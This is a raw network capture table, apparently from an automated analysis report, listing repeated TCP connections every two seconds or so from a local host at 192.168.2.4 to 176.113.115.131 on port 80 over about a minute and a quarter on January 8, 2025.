Jan 8, 2025 08:43:41.037965059 CET	80	56100	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:41.038223982 CET	56100	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:42.666486979 CET	56100	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:42.666856050 CET	56101	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:42.671699047 CET	80	56101	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:42.671809912 CET	56101	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:42.671935081 CET	56101	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:42.676769972 CET	80	56101	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:42.678234100 CET	80	56100	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:42.678311110 CET	56100	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:43.362859011 CET	80	56101	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:43.362922907 CET	56101	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:44.869683027 CET	56101	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:44.869687080 CET	56102	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:44.874568939 CET	80	56102	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:44.874732018 CET	56102	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:44.874752998 CET	80	56101	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:44.874779940 CET	56102	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:44.874826908 CET	56101	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:44.879514933 CET	80	56102	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:45.574013948 CET	80	56102	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:45.574084997 CET	56102	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:47.198338985 CET	56103	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:47.198350906 CET	56102	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:47.203346014 CET	80	56103	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:47.203536034 CET	80	56102	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:47.203804016 CET	56102	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:47.203805923 CET	56103	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:47.206691980 CET	56103	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:47.211437941 CET	80	56103	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:47.893065929 CET	80	56103	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:47.893153906 CET	56103	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:49.401343107 CET	56103	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:49.401747942 CET	56104	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:49.406575918 CET	80	56103	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:49.406591892 CET	80	56104	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:49.406634092 CET	56103	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:49.406667948 CET	56104	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:49.406824112 CET	56104	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:49.411643982 CET	80	56104	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:50.102644920 CET	80	56104	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:50.102710009 CET	56104	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:51.729053974 CET	56104	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:51.729381084 CET	56105	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:51.734143972 CET	80	56104	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:51.734177113 CET	80	56105	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:51.734220982 CET	56104	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:51.734271049 CET	56105	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:51.734407902 CET	56105	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:51.739214897 CET	80	56105	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:52.439913034 CET	80	56105	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:52.440022945 CET	56105	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:53.948973894 CET	56105	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:53.949347973 CET	56106	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:53.954150915 CET	80	56105	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:53.954199076 CET	80	56106	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:53.954211950 CET	56105	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:53.954273939 CET	56106	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:53.954473972 CET	56106	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:53.959254980 CET	80	56106	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:54.668608904 CET	80	56106	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:54.672605038 CET	56106	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:56.292098999 CET	56106	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:56.292499065 CET	56107	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:56.297282934 CET	80	56106	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:56.297333956 CET	56106	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:56.297365904 CET	80	56107	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:56.297430038 CET	56107	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:56.297605038 CET	56107	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:56.302362919 CET	80	56107	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:56.983952999 CET	80	56107	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:56.986675978 CET	56107	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:58.494457006 CET	56108	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:58.494457960 CET	56107	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:58.500474930 CET	80	56108	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:58.501789093 CET	80	56107	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:58.504313946 CET	56107	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:58.504314899 CET	56108	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:58.504410028 CET	56108	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:58.511131048 CET	80	56108	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:59.203466892 CET	80	56108	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:59.204324961 CET	56108	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:59.905312061 CET	56108	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:43:59.910597086 CET	80	56108	176.113.115.131	192.168.2.4
Jan 8, 2025 08:43:59.910654068 CET	56108	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:00.824271917 CET	56109	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:00.829139948 CET	80	56109	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:00.829252005 CET	56109	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:00.829441071 CET	56109	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:00.834198952 CET	80	56109	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:01.543853998 CET	80	56109	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:01.543914080 CET	56109	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:03.059019089 CET	56109	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:03.059559107 CET	56110	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:03.064034939 CET	80	56109	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:03.064196110 CET	56109	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:03.064403057 CET	80	56110	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:03.064562082 CET	56110	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:03.065023899 CET	56110	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:03.069834948 CET	80	56110	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:03.754291058 CET	80	56110	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:03.754350901 CET	56110	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:05.385919094 CET	56110	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:05.386369944 CET	56111	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:05.391040087 CET	80	56110	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:05.391098022 CET	56110	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:05.391141891 CET	80	56111	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:05.391225100 CET	56111	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:05.391397953 CET	56111	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:05.396193027 CET	80	56111	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:06.114204884 CET	80	56111	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:06.114289045 CET	56111	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:07.620210886 CET	56111	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:07.620719910 CET	56112	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:07.625344992 CET	80	56111	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:07.625399113 CET	56111	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:07.625524044 CET	80	56112	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:07.625586987 CET	56112	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:07.625771999 CET	56112	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:07.630559921 CET	80	56112	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:08.335683107 CET	80	56112	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:08.335762024 CET	56112	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:09.963886023 CET	56112	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:09.964303970 CET	56113	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:09.969042063 CET	80	56112	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:09.969088078 CET	80	56113	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:09.969094038 CET	56112	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:09.969157934 CET	56113	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:09.969321012 CET	56113	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:09.974097967 CET	80	56113	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:10.667959929 CET	80	56113	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:10.668378115 CET	56113	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:12.182859898 CET	56113	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:12.183237076 CET	56114	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:12.188064098 CET	80	56113	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:12.188082933 CET	80	56114	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:12.188119888 CET	56113	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:12.188162088 CET	56114	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:12.188338041 CET	56114	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:12.193082094 CET	80	56114	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:12.903877974 CET	80	56114	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:12.906478882 CET	56114	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:14.525783062 CET	56114	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:14.526171923 CET	56115	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:14.530975103 CET	80	56114	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:14.530997992 CET	80	56115	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:14.531102896 CET	56114	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:14.531105042 CET	56115	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:14.531332016 CET	56115	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:14.536149025 CET	80	56115	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:15.240238905 CET	80	56115	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:15.240328074 CET	56115	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:16.744716883 CET	56115	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:16.745129108 CET	56116	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:16.749819994 CET	80	56115	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:16.749902964 CET	80	56116	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:16.749927998 CET	56115	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:16.750086069 CET	56116	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:16.750243902 CET	56116	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:16.755016088 CET	80	56116	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:17.458482027 CET	80	56116	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:17.458559990 CET	56116	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:19.088140011 CET	56116	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:19.092277050 CET	56117	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:19.093497992 CET	80	56116	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:19.093565941 CET	56116	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:19.097142935 CET	80	56117	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:19.097246885 CET	56117	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:19.097361088 CET	56117	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:19.102113008 CET	80	56117	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:19.804025888 CET	80	56117	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:19.804081917 CET	56117	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:21.307451963 CET	56117	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:21.307463884 CET	56118	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:21.312282085 CET	80	56118	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:21.312436104 CET	80	56117	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:21.316401958 CET	56117	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:21.316411018 CET	56118	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:21.316484928 CET	56118	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:21.321316004 CET	80	56118	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:22.035444975 CET	80	56118	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:22.035510063 CET	56118	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:23.667114973 CET	56118	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:23.667581081 CET	56119	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:23.672204971 CET	80	56118	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:23.672261953 CET	56118	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:23.672379971 CET	80	56119	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:23.672456980 CET	56119	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:23.672636986 CET	56119	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:23.677376986 CET	80	56119	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:24.375452995 CET	80	56119	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:24.375514984 CET	56119	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:25.893204927 CET	56119	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:25.893712997 CET	56120	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:25.898262024 CET	80	56119	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:25.898314953 CET	56119	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:25.898597002 CET	80	56120	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:25.899224043 CET	56120	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:25.899329901 CET	56120	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:25.904067993 CET	80	56120	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:26.596529007 CET	80	56120	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:26.596671104 CET	56120	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:28.229115963 CET	56120	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:28.229454041 CET	56121	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:28.234088898 CET	80	56120	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:28.234141111 CET	56120	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:28.234230995 CET	80	56121	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:28.234291077 CET	56121	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:28.234433889 CET	56121	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:28.239295006 CET	80	56121	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:28.942631006 CET	80	56121	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:28.942735910 CET	56121	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:30.448302984 CET	56122	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:30.448304892 CET	56121	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:30.453296900 CET	80	56122	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:30.453387976 CET	80	56121	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:30.456425905 CET	56121	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:30.456428051 CET	56122	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:30.456530094 CET	56122	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:30.461277962 CET	80	56122	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:31.162390947 CET	80	56122	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:31.162498951 CET	56122	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:32.791405916 CET	56122	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:32.792306900 CET	56123	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:32.796516895 CET	80	56122	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:32.797236919 CET	80	56123	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:32.797342062 CET	56123	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:32.797344923 CET	56122	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:32.797504902 CET	56123	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:32.802259922 CET	80	56123	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:33.512027025 CET	80	56123	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:33.512094975 CET	56123	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:35.025821924 CET	56123	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:35.026166916 CET	56124	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:35.030839920 CET	80	56123	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:35.030925035 CET	80	56124	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:35.030961990 CET	56123	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:35.032371998 CET	56124	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:35.036297083 CET	56124	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:35.041137934 CET	80	56124	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:35.733525991 CET	80	56124	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:35.733584881 CET	56124	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:37.356306076 CET	56124	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:37.356304884 CET	56125	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:37.361188889 CET	80	56125	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:37.361320019 CET	80	56124	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:37.361416101 CET	56125	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:37.361418962 CET	56124	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:37.361598969 CET	56125	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:37.366385937 CET	80	56125	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:38.066068888 CET	80	56125	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:38.066134930 CET	56125	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:39.572479010 CET	56125	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:39.572777987 CET	56126	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:39.577605963 CET	80	56125	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:39.577620029 CET	80	56126	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:39.577653885 CET	56125	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:39.577686071 CET	56126	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:39.577842951 CET	56126	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:39.582621098 CET	80	56126	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:40.266031027 CET	80	56126	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:40.266082048 CET	56126	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:41.885818958 CET	56126	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:41.886213064 CET	56127	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:41.890809059 CET	80	56126	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:41.890861034 CET	56126	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:41.890975952 CET	80	56127	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:41.891028881 CET	56127	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:41.891217947 CET	56127	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:41.895951033 CET	80	56127	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:42.597739935 CET	80	56127	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:42.600411892 CET	56127	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:44.104799986 CET	56127	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:44.105335951 CET	56128	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:44.109793901 CET	80	56127	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:44.109833002 CET	56127	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:44.110105991 CET	80	56128	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:44.110162020 CET	56128	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:44.110306025 CET	56128	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:44.115082026 CET	80	56128	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:44.827529907 CET	80	56128	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:44.828366995 CET	56128	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:46.447921991 CET	56128	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:46.447927952 CET	56129	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:46.452713966 CET	80	56129	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:46.452922106 CET	80	56128	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:46.456437111 CET	56128	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:46.456442118 CET	56129	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:46.456520081 CET	56129	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:46.461294889 CET	80	56129	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:47.142812014 CET	80	56129	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:47.144388914 CET	56129	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:48.651060104 CET	56130	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:48.651062012 CET	56129	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:48.656660080 CET	80	56130	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:48.656673908 CET	80	56129	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:48.660383940 CET	56130	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:48.660389900 CET	56129	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:48.660511971 CET	56130	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:48.666877031 CET	80	56130	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:49.372358084 CET	80	56130	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:49.376426935 CET	56130	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:51.010207891 CET	56130	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:51.012326002 CET	56131	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:51.015369892 CET	80	56130	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:51.016417980 CET	56130	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:51.017107010 CET	80	56131	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:51.020415068 CET	56131	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:51.020490885 CET	56131	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:51.025279999 CET	80	56131	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:51.730273962 CET	80	56131	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:51.730365992 CET	56131	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:53.244811058 CET	56131	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:53.248341084 CET	56132	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:53.249819994 CET	80	56131	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:53.252471924 CET	56131	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:53.253334999 CET	80	56132	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:53.256423950 CET	56132	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:53.256550074 CET	56132	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:53.261285067 CET	80	56132	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:53.964806080 CET	80	56132	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:53.964870930 CET	56132	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:55.651583910 CET	56132	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:55.651984930 CET	56133	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:55.656585932 CET	80	56132	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:55.656636953 CET	56132	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:55.656748056 CET	80	56133	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:55.656836033 CET	56133	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:55.656970024 CET	56133	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:55.661798000 CET	80	56133	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:56.340996981 CET	80	56133	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:56.341052055 CET	56133	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:57.859680891 CET	56133	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:57.860331059 CET	56134	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:57.864651918 CET	80	56133	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:57.864727020 CET	56133	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:57.865168095 CET	80	56134	176.113.115.131	192.168.2.4
Jan 8, 2025 08:44:57.865228891 CET	56134	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:57.865582943 CET	56134	80	192.168.2.4	176.113.115.131
Jan 8, 2025 08:44:57.870337009 CET	80	56134	176.113.115.131	192.168.2.4
